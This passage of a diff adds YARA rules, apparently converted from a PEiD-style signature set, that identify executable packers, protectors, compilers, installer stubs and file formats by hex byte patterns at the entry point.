+		$0 = {55 89 E5 E8 0C 00 00 00 5D C3 CC CC CC CC CC E8 85 08 00 00 6A 00 54 6A 00 E8 8E 04 00 00 87 04 24 E8 90 06 00 00 5F 5E 5E 89 EC 5D FF E0 32 06 74 07 32 26 74 03 31 C0 C3 C1 E8 10 83 C6 02 09 C0 75 EB B8 01 00 00 00 C3 31 C0 8B 74 24 10 8B 76 28 66 8B 06 83 C6 02 09 C0 74 09 83 F0 5C 75 02 89 F7 EB ED 89 FE C3 56 57 E8 DA FF FF FF B8 6E 4E 74 54 E8 B5 FF FF FF 09 C0 74 0E B8 64 44 6C 4C E8 A7 FF FF FF 09 C0 74 00 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Amiga_IFFILBM_Graphics_format_
+{
+	meta:
+		description = "Amiga IFF/ILBM Graphics format"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v184_
+{
+	meta:
+		description = "PECompact v1.84"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13_
+{
+	meta:
+		description = "Petite 1.3"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+		$1 = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PC_Shrinker_v045_
+{
+	meta:
+		description = "PC Shrinker v0.45"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+		$1 = {BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Crypt32_Console_
+{
+	meta:
+		description = "PE Crypt32 [Console"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _SuckStop_110_
+{
+	meta:
+		description = "SuckStop 1.10"
+	strings:
+		$0 = {4B 41 4F 54 5C EB 02 8E 7C BE 10 00 B4 30 CD 21 EB 0A 9B 00 00 00 00 00 BF 00 00 B9 3C 03 77 02 CD 20 4E 75 E7 6A 00 0E 6A 5E FE C3 CF AC 66 64 33 06 0C 00 66 65 2B 06 90 06 8C EA 03 C2 CF 32 C7 AA CF 41 6E 61 72 63 68 79 20 77 69 6C 6C 20}
+	condition:
+		$0 at entrypoint
+}
+rule _MOD_8_Track_Oktatracker_music_file_
+{
+	meta:
+		description = "MOD 8 Track Oktatracker music file"
+	strings:
+		$0 = {4F 43 54}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_60__70_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Intro_10_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Intro 1.0"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+		$1 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+		$1 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+		$2 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_123b3__1241_
+{
+	meta:
+		description = "PECompact 1.23b3 - 1.24.1"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB D2 08 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V11__LiuXingPing_
+{
+	meta:
+		description = "nSpack V1.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_v1111_
+{
+	meta:
+		description = "Obsidium v1.1.1.1"
+	strings:
+		$0 = {EB 02 ?? ?? E8 ?? 00 00 00}
+		$1 = {EB 02 ?? ?? E8 E7 1C 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPToCRACKs_PE_Protector_V092__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACK's PE Protector V0.9.2 -> Lukas Fleischer"
+	strings:
+		$0 = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09782_
+{
+	meta:
+		description = "PECompact v0.978.2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Cygwin32_
+{
+	meta:
+		description = "Cygwin32"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+		$1 = {55 89 E5 83 EC 04 83 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PENinja_131_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENinja 1.31"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Packed_with_PKLITE_v150_with_CRC_check_1_
+{
+	meta:
+		description = "Packed with: PKLITE v1.50 with CRC check (1)"
+	strings:
+		$0 = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1361__Obsidium_Software____20080521_
+{
+	meta:
+		description = "Obsidium V1.3.6.1 -> Obsidium Software   * 20080521"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 ?? EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 64 FF 30 EB 04 ?? ?? ?? ?? 64 89 20 EB 01 ?? EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? FF FF FF EB 01 ?? EB 03 ?? ?? ?? EB 01 ?? EB 03 ?? ?? ?? 64 8F 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? 58 EB 02 ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LY_WGKX___V2X__wwwszleyucom___20080122_
+{
+	meta:
+		description = "LY_WGKX * Íâ¹Ò¿ËÐÇ V2.X -> www.szleyu.com  * 20080122"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00}
+		$1 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4D 79 46 75 6E 00 62 73 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EP_v10_
+{
+	meta:
+		description = "EP v1.0"
+	strings:
+		$0 = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+		$1 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DCrypt_Private_09b__drmist_
+{
+	meta:
+		description = "DCrypt Private 0.9b -> drmist"
+	strings:
+		$0 = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+		$1 = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiVirus_Vaccine_v103_
+{
+	meta:
+		description = "AntiVirus Vaccine v.1.03"
+	strings:
+		$0 = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+		$1 = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Cpp_for_Win16_1991_
+{
+	meta:
+		description = "Borland C++ for Win16 1991"
+	strings:
+		$0 = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v106_
+{
+	meta:
+		description = "Xtreme-Protector v1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4}
+		$1 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V11__cyberbob____20080311_
+{
+	meta:
+		description = "PESpin V1.1 -> cyberbob   * 20080311"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 ?? 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 ?? ?? ?? ?? ?? ?? F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? EB FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Sierras_audio_file_
+{
+	meta:
+		description = "Sierra`s audio file"
+	strings:
+		$0 = {8D 0C 53 4F 4C 00 22 56 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_
+{
+	meta:
+		description = "Wise Installer Stub"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+		$1 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+		$2 = {55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20}
+		$3 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68}
+		$4 = {55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 74}
+		$5 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74}
+		$6 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+		$7 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D ?? 53 FF 15 ?? 40 40 00 80 3F 2F 89 45 ?? 75 ?? 8A 47 01 3C 53 74 04 3C 73 75 06 89 35}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 or $7 at entrypoint
+}
+rule _PENightMare_2_Beta_
+{
+	meta:
+		description = "PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__v103__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.03 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+		$1 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEBundle_005_
+{
+	meta:
+		description = "PEBundle 0.05"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 01 AD CD 24 40 00 01 AD 41 25 40 00 01 AD 95 25 40 00 01 AD F0 25 40 00 01 AD 27 26 40 00 E8 FD 01 00 00 FF B5 A6 20 40 00 FF B5 08 21 40 00 E8 7F 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_31_EXE_
+{
+	meta:
+		description = "Protect! 3.1 [EXE]"
+	strings:
+		$0 = {2E A3 00 00 8C D8 2E A3 02 00 8C C8 2E A3 06 00 2E 89 2E 04 00 33 C0 8E D8 FA FC BE 04 00 0E 07 BF 08 00 A5 A5 BE 0C 00 A5 A5 1E 07 BE 04 00 BF 0C 00 B8 D4 01 AB 87 FE AB 2E A1 06 00 87 FE AB 87 F7 AB 89 E0 8C D3 0E 17 BC 85 00 B9 CD 01 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v13045_
+{
+	meta:
+		description = "EXECryptor v1.3.0.45"
+	strings:
+		$0 = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$2 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$3 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _AutoLogic_Graphics_format_
+{
+	meta:
+		description = "AutoLogic Graphics format"
+	strings:
+		$0 = {FF 04 00 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_
+{
+	meta:
+		description = "Microsoft C"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Safeguard_10__101__Simonzh_
+{
+	meta:
+		description = "Safeguard 1.0 - 1.01 -> Simonzh"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_111502006Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.150.2006.Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+		$1 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
